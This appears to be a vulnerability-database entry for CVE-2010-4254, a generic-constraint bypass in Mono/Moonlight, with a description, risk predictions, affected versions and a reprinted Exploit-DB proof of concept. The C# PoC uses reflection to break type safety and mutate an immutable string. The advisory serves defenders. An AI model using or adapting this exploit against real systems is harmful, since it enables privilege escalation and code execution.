CVE-2010-4254

high
Published 2010-12-06 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.5

Description

Mono, when Moonlight before 2.3.0.1 or 2.99.x before 2.99.0.10 is used, does not properly validate arguments to generic methods, which allows remote attackers to bypass generic constraints, and possibly execute arbitrary code, via a crafted method call.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-15974 dos linux verified text ยท 1 KB
Chris Howie ยท 2011-01-11

Mono/Moonlight Generic Type Argument - Privilege Escalation

text exploit Source: Exploit-DB
Sources:  https://www.chrishowie.com/2010/11/24/mutable-strings-in-mono/
https://www.securityfocus.com/bid/45051/info

Mono and Moonlight is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer. 

PoC:

using System;
using System.Reflection;

public class FakeString {
    public int length;
    public char start_char;
}

public class TestCase {
    private static FakeString UnsafeConversion<T>(T thing)
        where T : FakeString
    {
        return thing;
    }

    public static void Main() {
        var a = "foo";
        var b = MakeMutable(a);

        Console.WriteLine(a);
        b.start_char = 'b';
        Console.WriteLine(a);
    }

    private static FakeString MakeMutable(string s)
    {
        var m = typeof(TestCase).GetMethod("UnsafeConversion", BindingFlags.NonPublic | BindingFlags.Static);
        var m2 = m.MakeGenericMethod(typeof(string));

        var d = (Func<string, FakeString>)Delegate.CreateDelegate(typeof(Func<string, FakeString>), null, m2);

        return d(s);
    }
}

Application impact

VendorProductVersionsFixed
monomono
suse novellmoonlight{"endIncluding":"2.3.0"}
suse novellmoonlight2.99.0
suse novellmoonlight2.99.1
suse novellmoonlight2.99.2
suse novellmoonlight2.99.7
suse novellmoonlight2.99.9

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.